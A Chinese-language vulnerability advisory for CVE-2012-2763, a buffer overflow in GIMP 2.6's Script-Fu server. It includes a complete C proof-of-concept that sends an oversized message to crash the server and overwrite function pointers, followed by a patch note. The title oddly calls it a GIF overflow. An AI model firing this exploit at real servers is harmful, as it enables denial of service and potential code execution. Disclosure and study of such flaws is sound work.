GIMP GIF图形缓冲区溢出漏洞

发布日期：2012-05-31
更新日期：2012-06-01受影响系统：
GIMP GIMP 2.6.x
不受影响系统：
GIMP GIMP 2.8.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 53741
CVE（CAN） ID: CVE-2012-2763GIMP是GNU Image Manipulation Program（GNU图像处理程序）的缩写，是一款跨平台的图像处理软件。GIMP 2.6.12之前版本在script-fu服务器组件的实现上存在缓冲区溢出漏洞，可影响script-fu控制台和script-fu网络服务器，成功利用后可允许攻击者通过特制的消息造成script-fu服务器缓冲区溢出，覆盖多个函数指针，导致攻击者获取EIP控制权，在受影响应用中执行任意代码。<*来源：Joseph Sheridan

链接：http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html
        http://www.linuxidc.com/Linux/2012-06/61836.htm
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！Joseph Sheridan （）提供了如下测试方法：////////////////////////////////////////////////////////////////
//                                                              //
// PoC for GIMP <= 2.6 Script-Fu server buffer overflow       //
// Author: Joseph Sheridan                                      //
// Date: 20/05/2012                                              //
//                                                              //
// compile with    cl scriptfubof.c /link wsock32.lib             //
////////////////////////////////////////////////////////////////#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>#define DEFAULT_PORT 10008
// TCP socket type
#define DEFAULT_PROTO SOCK_STREAM
void senddata（）;
void recvdata（）;
WSADATA wsaData;
SOCKET conn_socket;
char Buffer[2000000];
char inBuffer[128];

void Usage（）
{
    printf（"Usage: scriptfubof servername portnumber "）;
    fflush（stdout）;
    exit（1）;
}

int main（int argc, char *argv[]）
{

    // default to localhost
    char *server_name= "localhost";
    unsigned short port = DEFAULT_PORT;
    int i, loopcount, maxloop=-1;
    int retval;
    unsigned int addr;
    int socket_type = DEFAULT_PROTO;
    struct sockaddr_in server;    if （argc < 3） {
        Usage（）;
    }

    if （（retval = WSAStartup（0x202, &wsaData））！= 0）
    {
       fprintf（stderr,"WSAStartup（） failed with error %d ", retval）;
        WSACleanup（）;
        return -1;
    }

    //    Get portnum
    port = atoi（argv[2]）;

    memset（&server, 0, sizeof（server））;
    server.sin_addr.s_addr = inet_addr（argv[1]）;
    server.sin_family = AF_INET;
    server.sin_port = htons（port）;    conn_socket = socket（AF_INET, socket_type, 0）; /* Open a socket */
    if （conn_socket <0 ）
    {
        fprintf（stderr,"Client: Error Opening socket: Error %d ", WSAGetLastError（））;
        WSACleanup（）;
        return -1;
    }

    if （connect（conn_socket, （struct sockaddr*）&server, sizeof（server）） == SOCKET_ERROR）
    {
        fprintf（stderr,"Client: connect（） failed: %d ", WSAGetLastError（））;
        WSACleanup（）;
        return -1;
    }    // Send the data
    senddata（）;    // recieve a msg
    recvdata（）;

    closesocket（conn_socket）;
    WSACleanup（）;return 0;
}void senddata（） {    int loopcount = 0, retval =0;
    unsigned char command[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";


    Buffer[0]="x47"; //Magic byte "G"
    Buffer[1]=sizeof（command）/256; //High byte of L - L div 256
    Buffer[2]=sizeof（command）%256; //Low byte of L - L mod 256
    strcpy（&Buffer[3],command）;

    retval = send（conn_socket, Buffer, sizeof（command） +3, 0）;
    if （retval == SOCKET_ERROR）
    {
        fprintf（stderr,"Client: send（） failed: error %d. ", WSAGetLastError（））;
        WSACleanup（）;
        return;
    }
    else
      printf（"Client: send（） is OK. "）;
    printf（"Client: Sent data "%s" ", Buffer）;

}void recvdata（） {
    int i=0;
    int retval=0;
    memset（inBuffer,0,128）;

    retval = recv（conn_socket, inBuffer, 128, 0）;
    printf（"retval is :%d ", retval）;
    printf（"first char is: %x ", inBuffer[0]）;
    if （retval == SOCKET_ERROR）
   {
        fprintf（stderr,"Client: recv（） failed: error %d. ", WSAGetLastError（））;
        closesocket（conn_socket）;
        WSACleanup（）;
        return;
    }
    else {
        printf（"Client: recv（） is OK. "）;

        // print the message contents...

        for （i=0;i<retval;i++） {
            printf（"%c", inBuffer[i]）;

        }
        printf（" "）;
        fflush（stdout）;
   }}建议：
--------------------------------------------------------------------------------
厂商补丁：GIMP
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://www.gimp.org/Linux Kernel EXT4 "ext4_fill_flex_info（）"本地拒绝服务漏洞Ruby on Rails活动记录SQL注入漏洞相关资讯 GIMP 溢出漏洞缓冲区溢出漏洞

GIMP 2.8.18 发布-附安装 PPA （今 12:05）
GIMP插件 G’MIC 1.7.4 发布（07月19日）
GIMP修改UI，支持MyPaint画笔（07月14日）

GIMP 的未来（08月01日）
GIMP 2.8.18 发布，修复XCF文件引（07月19日）
GIMP 2.9.3 开发版发布，开源图片（05月06日）

本文评论查看全部评论（0）

表情：姓名：匿名字数

<button class="layui-btn layui-bg-purple" id="dofav">收藏该网址</button>
        </div>
    </div>
</div>
<div class="copyright">
    <div id="footbar">
        版权所有©石家庄振强科技有限公司2024 <a href="https://beian.miit.gov.cn" target="_blank">冀ICP备08103738号-5</a> <a href="/storage/sitemap.xml">网站地图</a>
    </div>
</div>
<script> var _mtj = _mtj || [];
(function () {
    var mtj = document.createElement("script");
    mtj.src = "https://node12.aizhantj.com:21233/tjjs/?k=p2tceukth5c";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(mtj, s);
})(); </script>
<script src="/static/lib/layui/layui.js"></script>
<script src="/static/lib/jquery/jquery.js"></script>
<script src="/static/lib/ajax.js"></script>
<script>
    layui.use(function () {
        var layer = layui.layer;
        var $ = layui.jquery;
        $("#dofav").click(function () {
            var artid = $(".article").attr("artid");
            var params={
                artid:artid,
                addtype:'escdns_article',
                t:Math.random()
            };
            if(artid>0){
                ajax.request({
                    method: "/index/article/addfavorite", type: "post", callback: function (res) {
                        layer.msg(res.msg);
                    }
                },params);
            }
        })
    })
</script>
</body>
</html>